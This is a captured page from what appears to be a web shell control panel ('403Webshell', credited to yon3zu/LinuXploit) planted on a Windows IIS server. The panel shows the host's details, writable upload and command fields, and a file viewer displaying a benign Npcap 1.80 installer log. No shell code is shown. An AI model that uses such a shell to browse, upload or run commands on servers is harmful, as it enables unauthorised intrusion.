403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Npcap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : C:/Program Files/Npcap/install.log
Call: 871

SetFlag: 2=0

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Jump: 965

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Jump: 1009

Jump: 1038

Current time UTC: 2024-11-01 06:03:13

Npcap Installer version 1.80

Command line: '"\\192.168.100.3\ActiveBackupforBusiness\PEERBLOCK\npcap-1.80.exe" '

Call: 1539

Jump: 1571

DetailPrint: Windows CurrentVersion: 10.0.20348 (Win10)

Call: 116

Call: 2125

SetFlag: 13=6

File: overwriteflag=0, allowskipfilesflag=2, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\modern-header.bmp"

File: wrote 70976 to "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\modern-header.bmp"

Call: 1156

WriteINIStr: wrote [Field 1] State=0 in C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\options.ini

Jump: 1176

WriteINIStr: wrote [Field 1] Flags=|DISABLED in C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\options.ini

Call: 1156

WriteINIStr: wrote [Field 2] State=0 in C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\options.ini

Jump: 1178

Call: 1156

WriteINIStr: wrote [Field 3] State=0 in C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\options.ini

Jump: 1178

Call: 1156

WriteINIStr: wrote [Field 4] State=1 in C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\options.ini

Jump: 1178

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\InstallOptions.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\InstallOptions.dll" (overwriteflag=1)

Jump: 1252

Jump: 1262

New install of "Npcap 1.80" to "C:\Program Files\Npcap"

Section: "WinPcap"

CreateDirectory: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp" (1)

File: overwriteflag=0, allowskipfilesflag=0, name="NPFInstall.exe"

File: wrote 311680 to "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\NPFInstall.exe"

Call: 1311

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: wrote 7168 to "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

No processes using Npcap

Call: 1441

Call: 1401

SetFlag: 2=0

SetFlag: 2=0

Call: 1401

SetFlag: 2=0

SetFlag: 2=0

Call: 1431

IfFileExists: file "C:\Windows\system32\packet.dll" does not exist, jumping 1435

IfFileExists: file "C:\Windows\system32\wpcap.dll" does not exist, jumping 1438

IfFileExists: file "C:\Windows\system32\pthreadVC.dll" does not exist, jumping 1441

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Delete: "C:\Windows\system32\drivers\npf.sys"

Call: 1431

IfFileExists: file "C:\Windows\system32\packet.dll" does not exist, jumping 1435

IfFileExists: file "C:\Windows\system32\wpcap.dll" does not exist, jumping 1438

IfFileExists: file "C:\Windows\system32\pthreadVC.dll" does not exist, jumping 1441

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Jump: 1462

SetFlag: 1=1

RMDir: "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinPcap"

CreateDirectory: "C:\Program Files\Npcap" (1)

Call: 1573

File: overwriteflag=0, allowskipfilesflag=0, name="LICENSE"

File: wrote 11784 to "C:\Program Files\Npcap\LICENSE"

File: overwriteflag=0, allowskipfilesflag=0, name="DiagReport.bat"

File: wrote 1073 to "C:\Program Files\Npcap\DiagReport.bat"

File: overwriteflag=0, allowskipfilesflag=0, name="DiagReport.ps1"

File: wrote 18078 to "C:\Program Files\Npcap\DiagReport.ps1"

File: overwriteflag=0, allowskipfilesflag=0, name="FixInstall.bat"

File: wrote 2513 to "C:\Program Files\Npcap\FixInstall.bat"

Sleep(100)

File: overwriteflag=0, allowskipfilesflag=0, name="Uninstall.exe"

File: wrote 1071392 to "C:\Program Files\Npcap\Uninstall.exe"

Call: 2006

CreateDirectory: "C:\Windows\system32" (1)

Call: 2001

File: overwriteflag=0, allowskipfilesflag=0, name="wpcap.dll"

File: wrote 417664 to "C:\Windows\system32\wpcap.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="Packet.dll"

File: wrote 174464 to "C:\Windows\system32\Packet.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="NpcapHelper.exe"

File: wrote 130432 to "C:\Windows\system32\NpcapHelper.exe"

File: overwriteflag=0, allowskipfilesflag=0, name="WlanHelper.exe"

File: wrote 215936 to "C:\Windows\system32\WlanHelper.exe"

CreateDirectory: "C:\Windows\system32\Npcap" (1)

CreateDirectory: "C:\Windows\system32\Npcap" created

Call: 2001

File: overwriteflag=0, allowskipfilesflag=0, name="wpcap.dll"

File: wrote 417664 to "C:\Windows\system32\Npcap\wpcap.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="Packet.dll"

File: wrote 174464 to "C:\Windows\system32\Npcap\Packet.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="NpcapHelper.exe"

File: wrote 130432 to "C:\Windows\system32\Npcap\NpcapHelper.exe"

File: overwriteflag=0, allowskipfilesflag=0, name="WlanHelper.exe"

File: wrote 215936 to "C:\Windows\system32\Npcap\WlanHelper.exe"

CreateDirectory: "C:\Program Files\Npcap" (1)

File: overwriteflag=0, allowskipfilesflag=0, name="NPFInstall.exe"

File: wrote 311680 to "C:\Program Files\Npcap\NPFInstall.exe"

Call: 2023

DetailPrint: Installing NDIS6 x64 driver for Win10

CreateDirectory: "C:\Program Files\Npcap" (1)

File: overwriteflag=0, allowskipfilesflag=0, name="npcap.sys"

File: wrote 79424 to "C:\Program Files\Npcap\npcap.sys"

File: overwriteflag=0, allowskipfilesflag=0, name="npcap.cat"

File: wrote 12913 to "C:\Program Files\Npcap\npcap.cat"

File: overwriteflag=0, allowskipfilesflag=0, name="npcap.inf"

File: wrote 9011 to "C:\Program Files\Npcap\npcap.inf"

File: overwriteflag=0, allowskipfilesflag=0, name="npcap_wfp.inf"

File: wrote 2436 to "C:\Program Files\Npcap\npcap_wfp.inf"

Jump: 2061

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

Call: 1717

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Npcap" "AdminOnly"="0x00000001"

Jump: 1722

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Npcap" "WinPcapCompatible"="0x00000001"

Jump: 1726

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Npcap" ""="C:\Program Files\Npcap"

Call: 2017

CreateDirectory: "C:\Windows\system32" (1)

Call: 2012

File: overwriteflag=0, allowskipfilesflag=0, name="wpcap.dll"

File: wrote 488320 to "C:\Windows\system32\wpcap.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="Packet.dll"

File: wrote 221056 to "C:\Windows\system32\Packet.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="NpcapHelper.exe"

File: wrote 157056 to "C:\Windows\system32\NpcapHelper.exe"

File: overwriteflag=0, allowskipfilesflag=0, name="WlanHelper.exe"

File: wrote 266624 to "C:\Windows\system32\WlanHelper.exe"

CreateDirectory: "C:\Windows\system32\Npcap" (1)

CreateDirectory: "C:\Windows\system32\Npcap" created

Call: 2012

File: overwriteflag=0, allowskipfilesflag=0, name="wpcap.dll"

File: wrote 488320 to "C:\Windows\system32\Npcap\wpcap.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="Packet.dll"

File: wrote 221056 to "C:\Windows\system32\Npcap\Packet.dll"

File: overwriteflag=0, allowskipfilesflag=0, name="NpcapHelper.exe"

File: wrote 157056 to "C:\Windows\system32\Npcap\NpcapHelper.exe"

File: overwriteflag=0, allowskipfilesflag=0, name="WlanHelper.exe"

File: wrote 266624 to "C:\Windows\system32\Npcap\WlanHelper.exe"

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll" (overwriteflag=1)

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "UninstallString"=""C:\Program Files\Npcap\uninstall.exe""

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "QuietUninstallString"=""C:\Program Files\Npcap\uninstall.exe" /S"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "DisplayIcon"="C:\Program Files\Npcap\uninstall.exe"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "UninstallPath"="C:\Program Files\Npcap"

Call: 1635

CreateDirectory: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp" (1)

SetFlag: 2=0

File: overwriteflag=0, allowskipfilesflag=0, name="0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43.sst"

File: wrote 1397 to "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43.sst"

Call: 1578

DetailPrint: Removing 0563b8630d62d75abbc8ab1e4bdfb5a899b24d43 from store "Root"

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Call: 1613

DetailPrint: Adding 0563b8630d62d75abbc8ab1e4bdfb5a899b24d43 to store "Root"

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Delete: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\0563b8630d62d75abbc8ab1e4bdfb5a899b24d43.sst"

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43.sst")

CreateDirectory: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp" (1)

SetFlag: 2=0

File: overwriteflag=0, allowskipfilesflag=0, name="5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25.sst"

File: wrote 1263 to "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25.sst"

Call: 1578

DetailPrint: Removing 5fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25 from store "Root"

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Call: 1613

DetailPrint: Adding 5fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25 to store "Root"

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Delete: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\5fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25.sst"

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25.sst")

CreateDirectory: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp" (1)

SetFlag: 2=0

File: overwriteflag=0, allowskipfilesflag=0, name="signing.p7b"

File: wrote 5182 to "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\signing.p7b"

Call: 1600

DetailPrint: Adding signing.p7b to store "TrustedPublisher"

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Delete: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\signing.p7b"

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\signing.p7b")

DetailPrint: Clearing Npcap entries from driver store

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

DetailPrint: Installing WFP callout driver

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

DetailPrint: Installing NDIS filter driver

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

DetailPrint: The npcap service was successfully created

Jump: 1717

DetailPrint: Writing service options to registry

Call: 1726

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap" "Start"="0x00000001"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "LoopbackSupport"="0x00000001"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "DltNull"="0x00000001"

WriteRegStr: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "Edition"="Npcap"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "AdminOnly"="0x00000001"

Jump: 1735

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "Dot11Support"="0x00000000"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "VlanSupport"="0x00000000"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters" "WinPcapCompatible"="0x00000001"

Jump: 1749

Call: 1785

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap" "Start"="0x00000001"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap_wifi" "Start"="0x00000004"

Call: 1777

DetailPrint: Starting the npcap driver

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

Jump: 1965

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "DisplayName"="Npcap"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "DisplayVersion"="1.80"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "Publisher"="Nmap Project"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "URLInfoAbout"="https://npcap.com/"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "URLUpdateInfo"="https://npcap.com/#download"

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "InstallLocation"="C:\Program Files\Npcap"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "VersionMajor"="0x00000001"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "VersionMinor"="0x00000050"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "NoModify"="0x00000001"

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\NpcapInst" "NoRepair"="0x00000001"

Call: 1791

CreateDirectory: "C:\Program Files\Npcap" (1)

File: overwriteflag=0, allowskipfilesflag=0, name="CheckStatus.bat"

File: wrote 815 to "C:\Program Files\Npcap\CheckStatus.bat"

DetailPrint: Creating npcapwatchdog scheduled task

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll" (overwriteflag=1)

DetailPrint: Scheduled task created.

Jump: 27

Call: 2125

SetFlag: 13=6

File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\InstallOptions.dll"

File: skipped: "C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\InstallOptions.dll" (overwriteflag=1)

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\final.ini")

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\InstallOptions.dll")

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\modern-header.bmp")

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\NPFInstall.exe")

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\nsExec.dll")

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\options.ini")

Delete: DeleteFile("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\System.dll")

RMDir: RemoveDirectory("C:\Users\ADMINI~1\AppData\Local\Temp\1\nshBDC9.tmp\")

Youez - 2016 - github.com/yon3zu
LinuXploit